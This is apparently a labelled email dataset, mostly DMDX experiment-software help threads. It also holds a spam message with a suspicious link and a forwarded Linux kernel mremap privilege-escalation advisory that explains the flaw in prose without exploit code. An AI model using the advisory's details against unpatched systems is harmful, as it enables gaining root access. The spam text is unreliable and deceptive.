Givertz ,DMDX@psy1.psych.arizona.edu,"Fri, 13 Feb 2004 08:49:25 -0700",[DMDX] Re: PCI-DIO24 card error,"I followed the instructions below, and this time got the following error message: ""Error 11 setting up InstaCal Board 0 Invalid digital port number"" Any suggestions? Michelle Quoting ""Jonathan C. Forster"" : > > There's a slight oversight in the Instacal code that I've yet to > fix and > it requires that there be devices starting from board number 0 with > no gaps > in order for TimeDX or DMDX to see them. So run the Instacal stuff > and > renumber the first card to be board 0 and the second one to be board > 1. If > the demo board is still there as board 0 that's fine, make your > boards 1 and 2. > > At 01:14 PM 2/12/2004 -0700, you wrote: > >I'm wondering if anyone can help me with the following problem. > I've > >just had a PCI-DIO24 card installed on a computer running dmdx. > > > >When I try and run dmdx (or do a syntax check), I get the following > >error message: ""Error 1 Setting up InstaCal Board 1|Invalid board > >number."" > > > >Then I run the PIO test in Time DX, it gives a dialogue box in which > to > >define the PIO address. We have InstaCal Boards in both port 1 and > 3 > >(don't ask why), and when we enter either ""InstaCal Board 1 > PCI-DIO24"" > >or ""InstaCal Board 3 PCI-DIO24"" as instructed in the Time DX help > file, > >we get the identical error message as above. Yes, we checked that > this > >is in fact the board we are using. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > When the plane you're on is late, the plane you need to > transfer to is on time. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > Michelle Givertz, Ph.D. Research Specialist Department of Psychiatry University of Arizona (520)626-8568",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Feb 2004 10:15:55 -0700",[DMDX] Re: PCI-DIO24 card error,"At 08:49 AM 2/13/2004 -0700, you wrote: >I followed the instructions below, and this time got the following error >message: > >""Error 11 setting up InstaCal Board 0 >Invalid digital port number"" > >Any suggestions? Michelle Only thing I suggest is re-selecting the PIO device in TimeDX any time after you've run Instacal's software. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When the plane you're on is late, the plane you need to transfer to is on time. ",0,0 """Irina a. Sekerina"" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Feb 2004 21:10:21 -0500",[DMDX] DMDX question,"Mike, I wonder if you could give me advice on a particular DMDX design issue I am trying to implement. In an remote eye-tracking experiment, I am going to present my subjects with 4 different pictures while they listen to spoken sentences describing one of them. Their task is to choose the picture by naming its number. Is it possible to write a DMDX script in such a way that these 4 pictures are separate .jpg files but appear simultaneously on the screen, each in its quarter of the screen, in a scrambled order? I can not figure it out myself, and the alternative is to create a picture consisting of 4. Then scrambling of the 4 pictures will require creating 4 versions of the composite picture, and it is a lot of work. Thanks a lot, Irina Sekerina Assistant Professor of Psychology College of Staten Island ",0,0 """Irina a. Sekerina"" ",DMDX@psy1.psych.arizona.edu,"Fri, 13 Feb 2004 21:31:47 -0500",[DMDX] Re: DMDX question,"Dear DMDX List members, I meant to address my message to everybody on the list. I have no idea why I started with ""Mike"". Sincere apologies and still seeking advice on how implement my design, Irina Sekerina ",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Sat, 14 Feb 2004 12:46:08 -0000",[DMDX] RE: DMDX question,"Hi Irina. Heres a bit of code I'm working on at the mo which presents two bitmaps simultaneously (with one overlapping the other). +1 * ""y"", ""black"", ""black"" ; My screens set to 800x600 for the above code, and my pics are 400x400. Check out the DMDX helpfile for the ""XY Keyword"" for more info. The ""XY Justification Keyword"" might be useful too. Mike has a good tutorial on pic presentation on his site: http://www.mrc-cbu.cam.ac.uk/Language/DMDX/paradigms/parad7.html . Please note that the negative Y co-ordinate for one of the bmp's up here actually places part of that pic off screen. If you have a lot of different pictures which need to be randomly placed into the 4 corners of the screen (in random combinations of all the pictures), your best bet it to use excel to create your rtf files. There might be a cunning way to get dmdx to do that sort of thing to, but I'm stuck for ideas. Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Irina a. Sekerina Sent: 14 February 2004 02:10 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] DMDX question Mike, I wonder if you could give me advice on a particular DMDX design issue I am trying to implement. In an remote eye-tracking experiment, I am going to present my subjects with 4 different pictures while they listen to spoken sentences describing one of them. Their task is to choose the picture by naming its number. Is it possible to write a DMDX script in such a way that these 4 pictures are separate .jpg files but appear simultaneously on the screen, each in its quarter of the screen, in a scrambled order? I can not figure it out myself, and the alternative is to create a picture consisting of 4. Then scrambling of the 4 pictures will require creating 4 versions of the composite picture, and it is a lot of work. Thanks a lot, Irina Sekerina Assistant Professor of Psychology College of Staten Island ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 14 Feb 2004 18:20:18 -0700",[DMDX] Re: RE: DMDX question,"At 12:46 PM 2/14/2004 +0000, you wrote: >If you have a lot of different pictures which need to be randomly placed >into the 4 corners of the screen (in random combinations of all the >pictures), your best bet it to use excel to create your rtf files. There >might be a cunning way to get dmdx to do that sort of thing to, but I'm >stuck for ideas. Andy. You can merge graphics across items so scramble could be used to mix up which four graphics are to be displayed but you wouldn't be able to get them on the screen simultaneously. If the first frame of an item has a no-erase switch (! or etc) it will merge the previous item's display with that frame. In the bad old days we could have set the palette to all black till the fourth item but palette manipulation is a thing of the past. Best you could do on a fast machine is pre-load the four graphics using and have them appear over four ticks with in the items. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you pick up a starving dog and make him prosperous, he will not bite you. This is the principal difference between a dog and a man. - Mark Twain",0,0 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Mon, 16 Feb 2004 03:02:52 -0500",[DMDX] Naming Task Problem,"Hello there, I am writing my undergraduate thesis and I am examining word length effects in English and Hebrew. The paradigm of the task involves the presentation of words of various lengths (in each language) presented to each visual hemisphere. I have my rtf file setup so that the presentation is no problem; however I am having some difficulty with the naming aspect. My paradigm calls for the participant to name the word presented as quickly as possible by speaking into a microphone. I am not interested in recording the spoken word per se; rather I am interested in how long it takes them to say it. I therefore want the program to start timing as soon as the word is presented and stop timing once the participant begins to utter the word. I realize that this will involve using the digitalvox feature of DMDX, but I am unsure as to how to set it up. Any help would be greatly appreciated. Thank you in advance, -Greg Cogan ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Feb 2004 08:38:09 -0700",[DMDX] Re: Naming Task Problem,"At 03:02 AM 2/16/2004 -0500, you wrote: >Hello there, > >I am writing my undergraduate thesis and I am examining word length >effects in English and Hebrew. The paradigm of the task involves the >presentation of words of various lengths (in each language) presented to >each visual hemisphere. I have my rtf file setup so that the presentation >is no problem; however I am having some difficulty with the naming >aspect. My paradigm calls for the participant to name the word presented >as quickly as possible by speaking into a microphone. I am not interested >in recording the spoken word per se; rather I am interested in how long it >takes them to say it. I therefore want the program to start timing as >soon as the word is presented and stop timing once the participant begins >to utter the word. I realize that this will involve using the digitalvox >feature of DMDX, but I am unsure as to how to set it up. Any help would >be greatly appreciated. You get a microphone that works with your sound card. You set the recording properties of the volume control to use the microphone and if there's a 20dB microphone boost you turn it on. Alternatively if you have access to a pre-amp (in our experience this is a better setup) you plug the mic into that and you plug the pre-amp's line output into the line input on the sound card and you set the volume control's recording settings to line input. Then you see if you can see signal in DMDX's VOX calibration dialog and set it's settings (see http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdigitalvoxcalibration.htm). Then you include in your item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is when I struggle to be brief that I became obscure. - Horace Epistles (Ars Poetica)",0,1 Michelle Givertz ,dmdx listserve ,"Mon, 16 Feb 2004 08:50:39 -0700",[DMDX] Fwd: PCI-DIO24 card error,"Still no luck running the PIO test in timedx. I've followed the advice offered so far, and I am still getting error messages with regard to the port and board numbers. Is it possible that having two PCI cards is causing a problem? Any advice would be much appreciated. Michelle ----- Forwarded message from mgivertz@email.arizona.edu ----- Date: Thu, 12 Feb 2004 13:14:01 -0700 From: mgivertz@email.arizona.edu Reply-To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] PCI-DIO24 card error To: dmdx listserve I'm wondering if anyone can help me with the following problem. I've just had a PCI-DIO24 card installed on a computer running dmdx. When I try and run dmdx (or do a syntax check), I get the following error message: ""Error 1 Setting up InstaCal Board 1|Invalid board number."" Then I run the PIO test in Time DX, it gives a dialogue box in which to define the PIO address. We have InstaCal Boards in both port 1 and 3 (don't ask why), and when we enter either ""InstaCal Board 1 PCI-DIO24"" or ""InstaCal Board 3 PCI-DIO24"" as instructed in the Time DX help file, we get the identical error message as above. Yes, we checked that this is in fact the board we are using. Any help would be much appreciated. Michelle ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ----- End forwarded message ----- Michelle Givertz, Ph.D. Research Specialist Department of Psychiatry University of Arizona (520)626-8568",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Feb 2004 10:05:45 -0700",[DMDX] Re: Fwd: PCI-DIO24 card error,"At 08:50 AM 2/16/2004 -0700, you wrote: >Still no luck running the PIO test in timedx. I've followed the advice >offered so far, and I am still getting error messages with regard to >the port and board numbers. Is it possible that having two PCI cards >is causing a problem? Any advice would be much appreciated. Michelle Try removing one and see. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When the plane you're on is late, the plane you need to transfer to is on time. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 16 Feb 2004 10:43:20 -0700",[DMDX] Re: Fwd: PCI-DIO24 card error,"At 10:05 AM 2/16/2004 -0700, you wrote: >At 08:50 AM 2/16/2004 -0700, you wrote: >>Still no luck running the PIO test in timedx. I've followed the advice >>offered so far, and I am still getting error messages with regard to >>the port and board numbers. Is it possible that having two PCI cards >>is causing a problem? Any advice would be much appreciated. Michelle > > Try removing one and see. Try removing them all and un-installing the Instacal software and start from scratch, maybe Instacal's knickers are twisted and it needs to be reset. Try removing DMDX too, maybe you've uncovered something no one else has seen. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When the plane you're on is late, the plane you need to transfer to is on time. ",0,0 Paola Corradini ,DMDX@psy1.psych.arizona.edu,"Tue, 17 Feb 2004 16:09:26 +0100",[DMDX] how change feedback message after non-response?,"Hallo, I'm working on a cross-modal priming experiment with a lexical decision task. My problem: I put a response deadline (that is the interval the target remains on the screen) and, when subjects do not give a response before the deadline has expired, a warning message should appear. That is easy to do with a feedback instruction, BUT I NEED TO CHANGE THE FEEDBACK FOR THE NON RESPONSE ,THAT IS BY DEFAULT ""NO RESPONSE"" (as I'm working in Italian language) AND I CAN'T FIND OUT HOW TO DO IT even if it sounds dummy (I could only change the right/wrong feddback messages). Can somebody help me? Thank you and bye Paola ********************************************* Paola Corradini Dipartimento di Scienze Biomediche Università di Modena e Reggio Emilia Via Campi, 287 - 41100 Modena - Italy tel: +39 059 205.5612 fax: +39 059 205.5363 e-mail: corradini.paola@unimo.it ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 17 Feb 2004 08:29:27 -0700",[DMDX] Re: how change feedback message after non-response?,"At 04:09 PM 2/17/2004 +0100, you wrote: >Hallo, >I'm working on a cross-modal priming experiment with a lexical decision >task. >My problem: I put a response deadline (that is the interval the target >remains on the screen) and, when subjects do not give a response before the >deadline has expired, a warning message should appear. That is easy to do >with a feedback instruction, BUT I NEED TO CHANGE THE FEEDBACK FOR THE NON >RESPONSE ,THAT IS BY DEFAULT ""NO RESPONSE"" (as I'm working in Italian >language) AND I CAN'T FIND OUT HOW TO DO IT even if it sounds dummy (I could >only change the right/wrong feddback messages). >Can somebody help me? In the Feedback Keywords section of the DMDX help it documents the keyword which is what you want. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The greatest pleasure-doing what they said couldn't be done.",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id NAA05415 for ; Tue, 17 Feb 2004 13:49:04 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id NAA30655 for ; Tue, 17 Feb 2004 13:49:04 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AtD5P-000MpD-C9; Tue, 17 Feb 2004 13:48:59 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AtD5I-000Mox-II for csf@ucsb.edu; Tue, 17 Feb 2004 13:48:52 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AtD5D-000Moj-RP for csf@ucsb.edu; Tue, 17 Feb 2004 13:48:47 -0800 Message-ID: <40328C3E.4030609@UCSB.edu> Date: Tue, 17 Feb 2004 13:48:46 -0800 From: E. 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Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com or Vision from www.foundstone.com (under the Resources section) should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Wed, 18 Feb 2004 16:17:27 -0500",[DMDX] RE: Re: Naming Task Problem,"Thank you for your reply. I knew I was overcomplicating things! Now unfortunately, I keep receiving the same reaction times (300ms) for each response no matter how long I wait or how quickly I answer. What exactly is this reaction time for each item measuring? Is it the time from when the stimulus appears until the threshold (set through the digitalvox calibration) is reached? If not this then what? Thank you again -Greg Cogan -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Monday, February 16, 2004 10:38 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Naming Task Problem At 03:02 AM 2/16/2004 -0500, you wrote: >Hello there, > >I am writing my undergraduate thesis and I am examining word length >effects in English and Hebrew. The paradigm of the task involves the >presentation of words of various lengths (in each language) presented to >each visual hemisphere. I have my rtf file setup so that the presentation >is no problem; however I am having some difficulty with the naming >aspect. My paradigm calls for the participant to name the word presented >as quickly as possible by speaking into a microphone. I am not interested >in recording the spoken word per se; rather I am interested in how long it >takes them to say it. I therefore want the program to start timing as >soon as the word is presented and stop timing once the participant begins >to utter the word. I realize that this will involve using the digitalvox >feature of DMDX, but I am unsure as to how to set it up. Any help would >be greatly appreciated. You get a microphone that works with your sound card. You set the recording properties of the volume control to use the microphone and if there's a 20dB microphone boost you turn it on. Alternatively if you have access to a pre-amp (in our experience this is a better setup) you plug the mic into that and you plug the pre-amp's line output into the line input on the sound card and you set the volume control's recording settings to line input. Then you see if you can see signal in DMDX's VOX calibration dialog and set it's settings (see http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdigitalvoxcalibra tion.htm). Then you include in your item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is when I struggle to be brief that I became obscure. - Horace Epistles (Ars Poetica) ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 Greg Cogan ,DMDX@psy1.psych.arizona.edu,"Wed, 18 Feb 2004 16:28:25 -0500",[DMDX] RE: Re: Naming Task Problem,"Scratch that request, I had my timeout set to 300. Thanx anyway -Greg Cogan -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Monday, February 16, 2004 10:38 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Naming Task Problem At 03:02 AM 2/16/2004 -0500, you wrote: >Hello there, > >I am writing my undergraduate thesis and I am examining word length >effects in English and Hebrew. The paradigm of the task involves the >presentation of words of various lengths (in each language) presented to >each visual hemisphere. I have my rtf file setup so that the presentation >is no problem; however I am having some difficulty with the naming >aspect. My paradigm calls for the participant to name the word presented >as quickly as possible by speaking into a microphone. I am not interested >in recording the spoken word per se; rather I am interested in how long it >takes them to say it. I therefore want the program to start timing as >soon as the word is presented and stop timing once the participant begins >to utter the word. I realize that this will involve using the digitalvox >feature of DMDX, but I am unsure as to how to set it up. Any help would >be greatly appreciated. You get a microphone that works with your sound card. You set the recording properties of the volume control to use the microphone and if there's a 20dB microphone boost you turn it on. Alternatively if you have access to a pre-amp (in our experience this is a better setup) you plug the mic into that and you plug the pre-amp's line output into the line input on the sound card and you set the volume control's recording settings to line input. Then you see if you can see signal in DMDX's VOX calibration dialog and set it's settings (see http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdigitalvoxcalibra tion.htm). Then you include in your item file. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is when I struggle to be brief that I became obscure. - Horace Epistles (Ars Poetica) ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 18 Feb 2004 14:42:55 -0700",[DMDX] RE: Re: Naming Task Problem,"At 04:17 PM 2/18/2004 -0500, you wrote: >Thank you for your reply. I knew I was overcomplicating things! >Now unfortunately, I keep receiving the same reaction times (300ms) for >each response no matter how long I wait or how quickly I answer. What >exactly is this reaction time for each item measuring? Is it the time >from when the stimulus appears until the threshold (set through the >digitalvox calibration) is reached? Yes. The time from the frame with the clockon in it till the vocalization threshold is reached. >If not this then what? Precisely, what else could it be? You must have poor sound card drivers or a poor sound card or you're using one of the earlier versions of DMDX that excelled in blowing poor drivers apart. If you can't find updated drivers or another audio card you will have to start messing with the buffer size options available as parameters to the DigitalVOX and RecordVocal devices and hope that some combination gets around whatever is failing. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The greatest pleasure-doing what they said couldn't be done. ",0,0 Kelly ,louisa@astron.Berkeley.EDU,"Thu, 19 Feb 2004 01:04:57 -0500","Your ID ""36313893426"""," Beautiful schoo1g!rls worldwide http://rapachejc.com >>> thematics past rechnerische underneath nanh 9689066 >>> foole outside up editseparato ndelaustausc ",1,1 Colby Kraybill ,linuxusers@astron.berkeley.edu,"Thu, 19 Feb 2004 18:59:28 -0800",Linux kernel vulnerability,"Forwarded warning: Synopsis: Linux kernel do_mremap VMA limit local privilege escalation vulnerability Product: Linux kernel Version: 2.2 up to 2.2.25, 2.4 up to 2.4.24, 2.6 up to 2.6.2 Vendor: http://www.kernel.org/ URL: http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt CVE: CAN-2004-0077 Author: Paul Starzetz Date: February 18, 2004 Issue: ====== A critical security vulnerability has been found in the Linux kernel memory management code inside the mremap(2) system call due to missing function return value check. This bug is completely unrelated to the mremap bug disclosed on 05-01-2004 except concerning the same internal kernel function code. Details: ======== The Linux kernel manages a list of user addressable valid memory locations on a per process basis. Every process owns a single linked list of so called virtual memory area descriptors (called from now on just VMAs). Every VMA describes the start of a valid memory region, its length and moreover various memory flags like page protection. Every VMA in the list corresponds to a part of the process's page table. The page table contains descriptors (in short page table entries PTEs) of physical memory pages seen by the process. The VMA descriptor can be thus understood as a high level description of a particular region of the process's page table storing PTE properties like page R/W flag and so on. The mremap() system call provides resizing (shrinking or growing) as well as moving of existing virtual memory areas or any of its parts across process's addressable space. Moving a part of the virtual memory from inside a VMA area to a new location requires creation of a new VMA descriptor as well as copying the underlying page table entries described by the VMA from the old to the new location in the process's page table. To accomplish this task the do_mremap code calls the do_munmap() internal kernel function to remove any potentially existing old memory mapping in the new location as well as to remove the old virtual memory mapping. Unfortunately the code doesn't test the return value of the do_munmap() function which may fail if the maximum number of available VMA descriptors has been exceeded. This happens if one tries to unmap middle part of an existing memory mapping and the process's limit on the number of VMAs has been reached (which is currently 65535). One of the possible situations can be illustrated with the following picture. The corresponding page table entries (PTEs) have been marked with o and x: Before mremap(): (oooooooooooooooooooooooo) (xxxxxxxxxxxx) [----------VMA1----------] [----VMA2----] [REMAPPED-VMA] <---------------| After mremap() without VMA limit: (oooo)(xxxxxxxxxxxx)(oooo) [VMA3][REMAPPED-VMA][VMA4] After mremap() but VMA limit: (ooooxxxxxxxxxxxxxxoooo) [---------VMA1---------] [REMAPPED-VMA] After the maximum number of VMAs in the process's VMA list has been reached do_munmap() will refuse to create the necessary VMA hole because it would split the original VMA in two disjoint VMA areas exceeding the VMA descriptor limit. Due to the missing return value check after trying to unmap the middle of the VMA1 (this is the first invocation of do_munmap inside do_mremap code) the corresponding page table entries from VMA2 are still inserted into the page table location described by VMA1 thus being subject to VMA1 page protection flags. It must be also mentioned that the original PTEs in the VMA1 are lost thus leaving the corresponding page frames unusable for ever. The kernel also tries to insert the overlapping VMA area into the VMA descriptor list but this fails due to further checks in the low level VMA manipulation code. The low level VMA list check in the 2.4 and 2.6 kernel versions just call BUG() therefore terminating the malicious process. There are also two other unchecked calls to do_munmap() inside the do_mremap() code and we believe that the second occurrence of unchecked do_munmap is also exploitable. The second occurrence takes place if the VMA to be remapped is beeing truncated in place. Note that do_munmap can also fail on an exceptional low memory condition while trying to allocate a VMA descriptor. We were able to create a robust proof-of-concept exploit code giving full super-user privileges on all vulnerable kernel versions. The exploit code will be released next week. Impact: ======= Since no special privileges are required to use the mremap(2) system call any process may use its unexpected behavior to disrupt the kernel memory management subsystem. Proper exploitation of this vulnerability leads to local privilege escalation giving an attacker full super-user privileges. The vulnerability may also lead to a denial-of-service attack on the available system memory. Tested and known to be vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.1. The 2.2.25 version of Linux kernel does not recognize the MREMAP_FIXED flag but this does not prevent the bug from being successfully exploited. All users are encouraged to patch all vulnerable systems as soon as appropriate vendor patches are released. There is no hotfix for this vulnerablity. Limited per user virtual memory still permits do_munmap() to fail. Credits: ======== Paul Starzetz has identified the vulnerability and performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS. Disclaimer: =========== This document and all the information it contains are provided ""as is"", for educational purposes only, without warranty of any kind, whether express or implied. The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected. - -- Paul Starzetz iSEC Security Research http://isec.pl/",0,1 Phil Hawkes ,fohc@ucdais.edu,"Sun, 22 Feb 2004 12:50:31 -0600",VERY URGENT-Help Needed for the March 6 FOHC workshop,"Hello Team: Thank you for the volunteers so far... I still need presenters for: 1. Selecting landscape plants 2. Fertilizing edible plants & fertilizing ornamental plants AND as always I will need volunteers for: 2 welcome table setup/greeters/takedown; 1 person to set up/take down the FOHC signs; 1 person to pick up the audio systems at the office, set them up & return them to the office; 1 person to serve as the 'keep it moving person'--to do this task you need to be willing to politely but firmly and cheerfully move the speakers along and keep the public from getting too far astray on the questions so we don't cut in to the last presenter's time; and 'floaters' to help with general setup, including the rain/sun shelters & the bathroom supplies setup. Theresa Luza has offered to present ""growing citrus""; Gail will present ""working in cover crops""; and Chuck & Cathy will reprise "" growing blueberries"". Please let me know as soon as you can if you can perform any of these functions . Thank you so much!! Teresa ----- Original Message ----- From: theresa luza To: phawkes4@comcast.net Sent: Saturday, February 21, 2004 10:50 AM Subject: Re: URGENT-Request for Presenters for the March 6 FOHC workshop I will present ""growing citrus"". Theresa Luza ----- Original Message ----- From: ""Phil Hawkes"" Date: Thu, 19 Feb 2004 11:52:51 -0600 To: Subject: URGENT-Request for Presenters for the March 6 FOHC workshop Hello- time to prepare for the March 6 workshop. Please let me know by Sunday, Feb. 22, if you would be willing to present for the following topics: 1. Growing citrus 2. Growing blueberries 3. Selecting landscape plants 4. Fertilizing edible plants & fertilizing ornamental plants 5. Working cover plants into the soil The 'Practice ' session for this workshop will be on February 28th @ 2:00 PM at the FOHC. Please be sure that you can attend this session if you are a presenter, UNLESS you have done the same presentation before (eg the blueberries). I will assume that the citrus presenter will have coordinated with Phil, the Orchard lead. Judy & Chuck are discussing the handouts, let them know if you have suggestions. Help!! I will NOT be able to attend the practice on the 28th, so I would like someone to be a time-keeper feedback person for me at that session and let me know : the order of events agreed to; the length of time for each presentation; where each part will take place; whether one group or more will be needed based on past experience, although I would assume with all the press lately we will have more people than we might have; etc. Whoever does this for me will need to push for a decision on each of these items after discussion takes place and send me an email confirming all decisions. Thank you!! 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Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 23 Feb 2004 17:08:11 -0600",oops," Please ignore the previous message - it was mis-addressed. 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TimeDX works fine and we've been able to save several video modes to the registry, but DMDX crashes at the end of the file when running syntax check (when trying to run a file directly, it says that it can't open the rtfparsed.itm) The error that is thrown during the syntax check is ""set display mode failed, unknown direct draw error"". He's got the most recent versions of DirectX and video drivers. We've tried to run it at 640x480 and we've run DMDX in the mode for ""really bad video cards"". is there hope for this laptop? thanks for your help Matthew ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Feb 2004 13:12:02 -0700",[DMDX] Re: direct draw error,"At 01:35 PM 2/25/2004 -0500, you wrote: >Someone in our lab is trying to get dmdx work on his new laptop (Dell >Inspiron with XP). TimeDX works fine and we've been able to save >several video modes to the registry, but DMDX crashes at the end of the >file when running syntax check (when trying to run a file directly, it >says that it can't open the rtfparsed.itm) Sounds like DMDX was installed as a different user than the one that's running. A couple of people have run across this error, maybe the archives have a clue. > The error that is thrown >during the syntax check is ""set display mode failed, unknown direct draw >error"". He's got the most recent versions of DirectX and video drivers. >We've tried to run it at 640x480 and we've run DMDX in the mode for >""really bad video cards"". Try using a video mode that's not 256 colors, it's legacy and likely to be busted on new hardware. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""If everything seems under control, you are going too slow"" - Mario Andretti ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Feb 2004 16:23:15 -0500",[DMDX] RE: Re: direct draw error,"> Try using a video mode that's not 256 colors, it's legacy > and likely to > be busted on new hardware. > yep, works like a charm now. thanks! matthew ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 26 Feb 2004 11:28:49 -0700",[DMDX] scrambling koan from a week or two ago,"I've just realized that there is in fact a solution to a scrambling problem someone had a while ago involving selecting bitmaps randomly for the four corners of the screen. While I'm probably too late for them as they have more than likely brute forced it the solution is worth writing up. The solution is to use macros. You would have to use the mother of all multi-scrambling item files -- four scrambles -- but it's actually half way elegant. Before the multi-scrambling is added to the item file it would look like this (assuming the centering is used): ~1001 mA=""some upper left quadrant filename""=; ~1002 mB=""some upper right quadrant filename""=; ~1003 mC=""some lower left quadrant filename""=; ~1004 mD=""some lower right quadrant filename""=; +1005 * g ~A , g ~B , g ~C , g ~D ; Keeping track of what gets presented would be possible by loading counters with values and emitting them in the first four items. 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In the practice phase, I need 'wrong' feedback when they press a key during a no-go trial. Otherwise they should do nothing. However in that case, pp's get a 'no response' warning. How do I keep my feedback, but disable my no response warning? thanks, Simon ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 01 Mar 2004 08:40:00 -0700",[DMDX] Re: disabling 'no response' feedback in go / no-go task,"At 03:56 PM 3/1/2004 +0100, you wrote: > >I'm using a go / no-go task where participants have to react to some of >the words only (the go trials). > >In the practice phase, I need 'wrong' feedback when they press a key >during a no-go trial. Otherwise they should do nothing. >However in that case, pp's get a 'no response' warning. > >How do I keep my feedback, but disable my no response warning? You can't disable it without disabling the incorrect feedback so you have to set it to a blank message under those circumstances, ie . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON 